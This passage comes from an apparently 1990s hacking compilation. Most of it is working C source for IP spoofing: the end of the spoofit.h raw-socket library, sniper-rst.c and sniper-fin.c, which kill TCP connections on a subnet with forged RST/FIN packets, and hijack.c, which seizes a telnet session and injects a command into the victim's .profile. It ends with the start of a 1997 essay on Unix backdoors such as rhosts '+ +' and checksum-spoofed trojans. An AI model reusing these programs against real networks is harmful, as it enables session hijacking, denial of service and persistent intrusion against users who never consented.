TCP options length in bytes */ }; /**************** all functions *******************************************/ void transmit_TCP (int fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags); void transmit_UDP (int sp_fd, char *sp_data, int ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port); int get_packet (int rc_fd, char *buffer, int *, unsigned char*); int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int); static unsigned long sp_getaddrbyname(char *); int open_sending (void); int open_receiving (char *, char); void close_receiving (void); void sp_send_packet (struct sp_data_exchange *, unsigned char); void sp_fix_TCP_packet (struct sp_data_exchange *); void sp_fix_UDP_packet (struct sp_data_exchange *); void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char); unsigned short in_cksum(unsigned short *, int ); void rc_sigio (int); void set_filter (char *, unsigned short, char *, unsigned short); /********************* let the games commence ****************************/ static unsigned long sp_getaddrbyname(char *sp_name) { struct hostent *sp_he; int i; if(isdigit(*sp_name)) return inet_addr(sp_name); for(i=0;i&lt;100;i++) { if(!(sp_he = gethostbyname(sp_name))) {printf("WARNING: gethostbyname failure!\n"); sleep(1); if(i&gt;=3) /* always a retry here in this kind of application */ printf("Coudn't resolv hostname."), exit(1); } else break; } return sp_he ? *(long*)*sp_he-&gt;h_addr_list : 0; } int open_sending (void) { struct protoent *sp_proto; int sp_fd; int dummy=1; /* they don't come rawer */ if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1) perror("Couldn't open Socket."), exit(1); #ifdef DEBUG printf("Raw socket ready\n"); #endif return sp_fd; } void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto) { int sp_status; struct sockaddr_in sp_server; struct hostent *sp_help; int HEAD_BASE; /* Construction of destination */ bzero((char *)&sp_server, sizeof(struct sockaddr)); sp_server.sin_family = AF_INET; sp_server.sin_addr.s_addr = inet_addr(sp-&gt;dest); if (sp_server.sin_addr.s_addr == (unsigned int)-1) { /* if target not in DOT/number notation */ if (!(sp_help=gethostbyname(sp-&gt;dest))) fprintf(stderr,"unknown host %s\n", sp-&gt;dest), exit(1); bcopy(sp_help-&gt;h_addr, (caddr_t)&sp_server.sin_addr, sp_help-&gt;h_length); }; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */ case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */ default: exit(1); break; }; sp_status = sendto(sp-&gt;fd, (char *)(sp-&gt;buffer), sp-&gt;datalen+HEAD_BASE+IP_HEAD_BASE+sp-&gt;IP_optlen, 0, (struct sockaddr *)&sp_server,sizeof(struct sockaddr)); if (sp_status &lt; 0 || sp_status != sp-&gt;datalen+HEAD_BASE+IP_HEAD_BASE+sp-&gt;IP_optlen) { if (sp_status &lt; 0) perror("Sendto"), exit(1); printf("hmm... Only transmitted %d of %d bytes.\n", sp_status, sp-&gt;datalen+HEAD_BASE); }; #ifdef DEBUG printf("Packet transmitted...\n"); #endif } void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto) { struct IP_header *sp_help_ip; int HEAD_BASE; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */ case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */ default: exit(1); break; }; sp_help_ip = (struct IP_header *) (sp-&gt;buffer); sp_help_ip-&gt;verlen = (IP_VERSION &lt;&lt; 4) | ((IP_HEAD_BASE+sp-&gt;IP_optlen)/4); sp_help_ip-&gt;type = 0; sp_help_ip-&gt;length = htons(IP_HEAD_BASE+HEAD_BASE+sp-&gt;datalen+sp-&gt;IP_optlen+sp-&gt;TCP_optlen); sp_help_ip-&gt;ID = htons(12545); /* TEST */ sp_help_ip-&gt;flag_offset = 0; sp_help_ip-&gt;TTL = 69; sp_help_ip-&gt;protocol = proto; sp_help_ip-&gt;source = sp_getaddrbyname(sp-&gt;source); sp_help_ip-&gt;destination = sp_getaddrbyname(sp-&gt;dest); sp_help_ip-&gt;checksum=in_cksum((unsigned short *) (sp-&gt;buffer), IP_HEAD_BASE+sp-&gt;IP_optlen); #ifdef DEBUG printf("IP header fixed...\n"); #endif } void sp_fix_TCP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct TCP_header *sp_help_tcp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;i&lt;MTU;i++) {sp_pseudo_ip_construct[i]=0;} sp_help_tcp = (struct TCP_header *) (sp-&gt;buffer+IP_HEAD_BASE+sp-&gt;IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_tcp-&gt;offset_flag = htons( (((TCP_HEAD_BASE+sp-&gt;TCP_optlen)/4)&lt;&lt;12) | sp-&gt;flags); sp_help_tcp-&gt;seq_nr = htonl(sp-&gt;seq); sp_help_tcp-&gt;ACK_nr = htonl(sp-&gt;ack); sp_help_tcp-&gt;source = htons(sp-&gt;source_port); sp_help_tcp-&gt;destination = htons(sp-&gt;dest_port); sp_help_tcp-&gt;window = htons(0x7c00); /* dummy for now 'wujx' */ sp_help_pseudo-&gt;source = sp_getaddrbyname(sp-&gt;source); sp_help_pseudo-&gt;destination = sp_getaddrbyname(sp-&gt;dest); sp_help_pseudo-&gt;zero_byte = 0; sp_help_pseudo-&gt;protocol = 6; sp_help_pseudo-&gt;TCP_UDP_len = htons(sp-&gt;datalen+TCP_HEAD_BASE+sp-&gt;TCP_optlen); memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp-&gt;TCP_optlen+sp-&gt;datalen+TCP_HEAD_BASE); sp_help_tcp-&gt;checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp-&gt;datalen+12+TCP_HEAD_BASE+sp-&gt;TCP_optlen); #ifdef DEBUG printf("TCP header fixed...\n"); #endif } void transmit_TCP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_tcpoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_tcpoptlen); if (sp_datalen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen, sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.seq = sp_seq; sp_struct.ack = sp_ack; sp_struct.flags = sp_flags; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = sp_tcpoptlen; sp_fix_TCP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 6); sp_send_packet(&sp_struct, 6); } void sp_fix_UDP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct UDP_header *sp_help_udp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;i&lt;MTU;i++) {sp_pseudo_ip_construct[i]=0;} sp_help_udp = (struct UDP_header *) (sp-&gt;buffer+IP_HEAD_BASE+sp-&gt;IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_udp-&gt;source = htons(sp-&gt;source_port); sp_help_udp-&gt;destination = htons(sp-&gt;dest_port); sp_help_udp-&gt;length = htons(sp-&gt;datalen+UDP_HEAD_BASE); sp_help_pseudo-&gt;source = sp_getaddrbyname(sp-&gt;source); sp_help_pseudo-&gt;destination = sp_getaddrbyname(sp-&gt;dest); sp_help_pseudo-&gt;zero_byte = 0; sp_help_pseudo-&gt;protocol = 17; sp_help_pseudo-&gt;TCP_UDP_len = htons(sp-&gt;datalen+UDP_HEAD_BASE); memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp-&gt;datalen+UDP_HEAD_BASE); sp_help_udp-&gt;checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp-&gt;datalen+12+UDP_HEAD_BASE); #ifdef DEBUG printf("UDP header fixed...\n"); #endif } void transmit_UDP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_data!=NULL) memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = 0; sp_fix_UDP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 17); sp_send_packet(&sp_struct, 17); } /* This routine stolen from ping.c -- HAHAHA!*/ unsigned short in_cksum(unsigned short *addr,int len) { register int nleft = len; register unsigned short *w = addr; register int sum = 0; unsigned short answer = 0; while (nleft &gt; 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum &gt;&gt; 16) + (sum & 0xffff); sum += (sum &gt;&gt; 16); answer = ~sum; return(answer); } /************************* Receiving department ****************************/ int open_receiving (char *rc_device, char mode) { int or_fd; struct sigaction rc_sa; int fcntl_flag; struct ifreq ifinfo; char test; /* create snoop socket and set interface promisc */ if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) perror("Couldn't open Socket."), exit(1); strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device); if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)&lt;0) perror("Couldn't get flags."), exit(1); ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC; if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)&lt;0) perror("Couldn't set flags. (PROMISC)"), exit(1); if(mode&IO_HANDLE) { /* install handler */ rc_sa.sa_handler=rc_sigio; /* we don't use signal() */ sigemptyset(&rc_sa.sa_mask); /* because the timing window is */ rc_sa.sa_flags=0; /* too big... */ sigaction(SIGIO,&rc_sa,NULL); } if(fcntl(or_fd,F_SETOWN,getpid())&lt;0) perror("Couldn't set ownership"), exit(1); if(mode&IO_HANDLE) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))&lt;0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)&lt;0) perror("Couldn't set FLAGS"), exit(1); rc_fd_abc123=or_fd; } else { if(mode&IO_NONBLOCK) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))&lt;0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)&lt;0) perror("Couldn't set FLAGS"), exit(1); }; }; #ifdef DEBUG printf("Reading socket ready\n"); #endif return or_fd; } /* returns 0 when no packet read! */ int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto) { char help_buffer[MTU]; int pack_len; struct IP_header *gp_IPhead; pack_len = read(rc_fd,help_buffer,1500); if(pack_len&lt;0) { if(errno==EWOULDBLOCK) {pack_len=0;} else {perror("Read error:"); exit(1);} }; if(pack_len&gt;0) { pack_len -= DEV_PREFIX; memcpy(buffer,help_buffer+DEV_PREFIX,pack_len); gp_IPhead = (struct IP_header *) buffer; if(proto != NULL) *proto = gp_IPhead-&gt;protocol; if(TCP_UDP_start != NULL) *TCP_UDP_start = (gp_IPhead-&gt;verlen & 0xF) &lt;&lt; 2; } return pack_len; } void wait_packet_timeout (int sig) { alarm(0); WAIT_PACKET_WAIT_TIME=1; } int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, char *wp_source, unsigned short wp_source_port, char *wp_dest, unsigned short wp_dest_port, int wp_flags, int wait_time) { char wp_buffer[1500]; struct IP_header *wp_iphead; struct TCP_header *wp_tcphead; unsigned long wp_sourcel, wp_destl; int wp_tcpstart; char wp_proto; wp_sourcel=sp_getaddrbyname(wp_source); wp_destl=sp_getaddrbyname(wp_dest); WAIT_PACKET_WAIT_TIME=0; if(wait_time!=0) { signal(SIGALRM,wait_packet_timeout); alarm(wait_time); } while(1) { while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)&lt;=0) { if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;} }; if(wp_proto == 6) { wp_iphead= (struct IP_header *) wp_buffer; wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart); if( (wp_sourcel==wp_iphead-&gt;source)&&(wp_destl==wp_iphead-&gt;destination) ) { if( (ntohs(wp_tcphead-&gt;source)==wp_source_port) && (ntohs(wp_tcphead-&gt;destination)==wp_dest_port) ) { if( (wp_flags==0) || (ntohs(wp_tcphead-&gt;offset_flag)&wp_flags) ) { ret_values-&gt;seq=ntohl(wp_tcphead-&gt;seq_nr); ret_values-&gt;ack=ntohl(wp_tcphead-&gt;ACK_nr); ret_values-&gt;flags=ntohs(wp_tcphead-&gt;offset_flag)& (URG|ACK|PSH|FIN|RST|SYN); ret_values-&gt;datalen = ntohs(wp_iphead-&gt;length) - ((wp_iphead-&gt;verlen & 0xF) &lt;&lt; 2) - ((ntohs(wp_tcphead-&gt;offset_flag) & 0xF000) &gt;&gt; 10); alarm(0); return 0; } } } } } /*impossible to get here.. but anyways*/ alarm(0); return -1; } void close_receiving (void) { close(rc_fd_abc123); } void rc_sigio (int sig) /* Packet handling routine */ { char rc_buffer[1500]; char packet_id [50]; unsigned char *rc_so, *rc_dest; struct IP_header *rc_IPhead; struct TCP_header *rc_TCPhead; int pack_len; if(RC_FILTSET==0) return; if(SP_DATA_BUSY!=0) /* skip this packet */ return; pack_len = read(rc_fd_abc123,rc_buffer,1500); rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX); if(rc_IPhead-&gt;protocol!=6) return; /* if not TCP */ rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead-&gt;verlen & 0xF) &lt;&lt; 2)); rc_so = (unsigned char *) &(rc_IPhead-&gt;source); rc_dest = (unsigned char *) &(rc_IPhead-&gt;destination); sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead-&gt;source), rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead-&gt;destination)); if(strcmp(packet_id,rc_filter_string)==0) { SP_DATA_BUSY=1; CUR_SEQ = ntohl(rc_TCPhead-&gt;seq_nr); CUR_ACK = ntohl(rc_TCPhead-&gt;ACK_nr); CUR_FLAGS = ntohs(rc_TCPhead-&gt;offset_flag); CUR_DATALEN = ntohs(rc_IPhead-&gt;length) - ((rc_IPhead-&gt;verlen & 0xF) &lt;&lt; 2) - ((ntohs(rc_TCPhead-&gt;offset_flag) & 0xF000) &gt;&gt; 10); CUR_COUNT++; SP_DATA_BUSY=0; } } void set_filter (char *f_source, unsigned short f_source_port, char *f_dest, unsigned short f_dest_port) { unsigned char *f_so, *f_des; unsigned long f_sol, f_destl; RC_FILTSET=0; if(DEV_PREFIX==9999) fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1); f_sol = sp_getaddrbyname(f_source); f_destl = sp_getaddrbyname(f_dest); f_so = (unsigned char *) &f_sol; f_des = (unsigned char *) &f_destl; sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", f_so[0],f_so[1],f_so[2],f_so[3],f_source_port, f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port); RC_FILTSET=1; } ------------------------------------------------------------------------------ ---=[ sniper-rst.c ]=--------------------------------------------------------- /**************************************************************************/ /* Sniper-rst - Example program on connection killing with IP spoofing */ /* Using the RST flag. */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - Killing any TCP connection on your subnet */ /* */ /* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t &gt;/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o sniper-rst sniper-rst.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" #define INTERFACE_PREFIX 14 char SOURCE[100],DEST[100]; int SOURCE_P,DEST_P; void main(int argc, char *argv[]) { int i,stat,j; int fd_send, fd_receive; unsigned long sp_ack, sp_seq; unsigned short flags; struct sp_wait_packet pinfo; if(argc != 5) { printf("usage: %s host1 port1 host2 port2\n",argv[0]); exit(0); } /* preparing some work */ DEV_PREFIX = INTERFACE_PREFIX; strcpy(SOURCE,argv[1]); SOURCE_P=atoi(argv[2]); strcpy(DEST,argv[3]); DEST_P=atoi(argv[4]); /* opening sending and receiving sockets */ fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */ printf("Trying to terminate the connection\n"); for(i=1;i&lt;=100;i++) { /* Waiting for a packet containing an ACK */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5); if(stat==-1) {printf("Connection 5 secs idle or dead...\n");exit(1);} sp_seq=pinfo.ack; sp_ack=0; j=0; /* Sending our fake Packet */ /* for(j=0;j&lt;10;j++) This would be better */ /* { */ transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P, sp_seq+j,sp_ack,RST); /* } */ /* waiting for confirmation */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5); if(stat&lt;0) { printf("Connection 5 secs idle or dead...\n"); exit(0); } } printf("I did not succeed in killing it.\n"); } ------------------------------------------------------------------------------ ---=[ sniper-fin.c ]=--------------------------------------------------------- /**************************************************************************/ /* Sniper-fin - Example program on connection killing with IP spoofing */ /* using the FIN flag. */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - Killing any TCP connection on your subnet */ /* */ /* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t &gt;/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o sniper-fin sniper-fin.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" #define INTERFACE_PREFIX 14 char SOURCE[100],DEST[100]; int SOURCE_P,DEST_P; void main(int argc, char *argv[]) { int i,stat; int fd_send, fd_receive; unsigned long sp_ack, sp_seq; unsigned short flags; struct sp_wait_packet pinfo; if(argc != 5) { printf("usage: %s host1 port1 host2 port2\n",argv[0]); exit(0); } /* preparing some work */ DEV_PREFIX = INTERFACE_PREFIX; strcpy(SOURCE,argv[1]); SOURCE_P=atoi(argv[2]); strcpy(DEST,argv[3]); DEST_P=atoi(argv[4]); /* opening sending and receiving sockets */ fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */ for(i=1;i&lt;100;i++) { printf("Attack Sequence %d.\n",i); /* Waiting for a packet containing an ACK */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10); if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);} sp_seq=pinfo.ack; sp_ack=pinfo.seq+pinfo.datalen; /* Sending our fake Packet */ transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN); /* waiting for confirmation */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5); if(stat&gt;=0) { printf("Killed the connection...\n"); exit(0); } printf("Hmmmm.... no response detected... (retry)\n"); } printf("I did not succeed in killing it.\n"); } ------------------------------------------------------------------------------ ---=[ hijack.c ]=------------------------------------------------------------- /**************************************************************************/ /* Hijack - Example program on connection hijacking with IP spoofing */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - taking control of a running telnet session, and executing */ /* our own command in that shell. */ /* */ /* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t &gt;/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o hijack hijack.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* My spoofing include.... read licence on this */ /* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" /* first ethernet device */ #define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */ #define PERSONAL_TOUCH 666 int fd_receive, fd_send; char CLIENT[100],SERVER[100]; int CLIENT_P; void main(int argc, char *argv[]) { int i,j,count; struct sp_wait_packet attack_info; unsigned long sp_seq ,sp_ack; unsigned long old_seq ,old_ack; unsigned long serv_seq ,serv_ack; /* This data used to clean up the shell line */ char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a}; char evil_data[]="echo \"echo HACKED\" &gt;&gt;$HOME/.profile\n";

if(argc!=4)
{
printf("Usage: %s client client_port server\n",argv[0]);
exit(1);
}
strcpy(CLIENT,argv[1]);
CLIENT_P=atoi(argv[2]);
strcpy(SERVER,argv[3]);

/* preparing all necessary sockets (sending + receiving) */
DEV_PREFIX = INTERFACE_PREFIX;
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */

printf("Starting Hijacking demo - Brecht Claerhout 1996\n");
printf("-----------------------------------------------\n");

for(j=0;j&lt;50;j++)
{
printf("\nTakeover phase 1: Stealing connection.\n");
sp_seq=attack_info.seq+attack_info.datalen;
sp_ack=attack_info.ack;
printf(" Sending Spoofed clean-up data...\n");
transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,
sp_seq,sp_ack,ACK|PSH);
/* NOTE: always beware you receive y'r OWN spoofed packs! */
/* so handle it if necessary */
count=0;
printf(" Waiting for spoof to be confirmed...\n");
while(count&lt;5)
{
if(attack_info.ack==sp_seq+sizeof(to_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 1 unsuccesfully ended.\n");}
else {printf("Phase 1 ended.\n"); break;};
};

printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
count=serv_seq=old_ack=0;
while(count&lt;10)
{
old_seq=serv_seq;
old_ack=serv_ack;
if(attack_info.datalen==0)
{
serv_seq=attack_info.seq+attack_info.datalen;
serv_ack=attack_info.ack;
if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
count=PERSONAL_TOUCH;
else count++;
}
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 2 unsuccesfully ended.\n"); exit(0);}
printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack);
printf("Phase 2 ended.\n");

printf("\nTakeover phase 3: Sending MY data.\n");
printf(" Sending evil data.\n");
transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
SERVER,23,serv_ack,serv_seq,ACK|PSH);
count=0;
printf(" Waiting for evil data to be confirmed...\n");
while(count&lt;5)
{
if(attack_info.ack==serv_ack+sizeof(evil_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 3 unsuccesfully ended.\n"); exit(0);}
printf("Phase 3 ended.\n");

}

------------------------------------------------------------------------------

___________________________________________________________________________

3. Part 3:

Back Doors:

Backdoors

By Christopher Klaus 8/4/97

Since the early days of intruders breaking into computers, they have tried
to develop techniques or backdoors that allow them to get back into the
system. In this paper, it will be focused on many of the common backdoors
and possible ways to check for them. Most of focus will be on Unix
backdoors with some discussion on future Windows NT backdoors. This will
describe the complexity of the issues in trying to determine the methods
that intruders use and the basis for administrators understanding on how
they might be able to stop the intruders from getting back in. When an
administrator understands how difficult it would be to stop intruder once
they are in, the appreciation of being proactive to block the intruder from
ever getting in becomes better understood. This is intended to cover many
of the popular commonly used backdoors by beginner and advanced intruders.
This is not intended to cover every possible way to create a backdoor as
the possibilities are limitless.

The backdoor for most intruders provide two or three main functions:

Be able to get back into a machine even if the administrator tries to
secure it, e.g., changing all the passwords.

Be able to get back into the machine with the least amount of visibility.
Most backdoors provide a way to avoid being logged and many times the
machine can appear to have no one online even while an intruder is using
it.

Be able to get back into the machine with the least amount of time. Most
intruders want to easily get back into the machine without having to do all
the work of exploiting a hole to gain access.

In some cases, if the intruder may think the administrator may detect any
installed backdoor, they will resort to using the vulnerability repeatedly
to get on a machine as the only backdoor. Thus not touching anything that
may tip off the administrator. Therefore in some cases, the
vulnerabilities on a machine remain the only unnoticed backdoor.

One of the first and oldest methods of intruders used to gain not only
uncovers weak passworded accounts. All these new accounts are now possible
backdoors into a machine even if the system administrator locks out the
intruder's current account. Many times, the intruder will look for unused
accounts, the accounts with modified passwords will not appear. Thus the
administrator will not be able to easily determine which accounts to lock
out.

Rhosts + + Backdoor

On networked Unix machines, services like Rsh and Rlogin used a simple
authentication method based on hostnames that appear in rhosts. A user
could easily configure which machines not to require a password to log
into. An intruder that gained access to someone's rhosts file could put a
"+ +" in the file and that would allow anyone from anywhere to log into
that account without a password. Many intruders use this method especially
when NFS is exporting home directories to the world. These accounts
become backdoors for intruders to get back into the system. Many intruders
prefer using Rsh over Rlogin because it is many times lacking any logging
capability. Many administrators check for "+ +" therefore an intruder may
actually put in a hostname and username from another compromised account on
the network, making it less obvious to spot.

Checksum and Timestamp Backdoors

Early on, many intruders replaced binaries with their own trojan versions.
Many system administrators relied on time-stamping and the system checksum
programs, e.g., Unix's sum program, to try to determine when a binary file
has been modified. Intruders have developed technology that will recreate
the same time-stamp for the trojan file as the original file. This is
accomplished by setting the system clock time back to the original file's
time and then adjusting the trojan file's time to the system clock. Once
the binary trojan file has the exact same time as the original, the system
clock is reset to the current time. The sum program relies on a CRC
checksum and is easily spoofed. Intruders have developed programs that
would modify the trojan binary to have the necessary original checksum,
thus fooling the administrators. MD5 checksums is the recommended choice
to use today by most vendors. MD5 is based on an algorithm that no one has
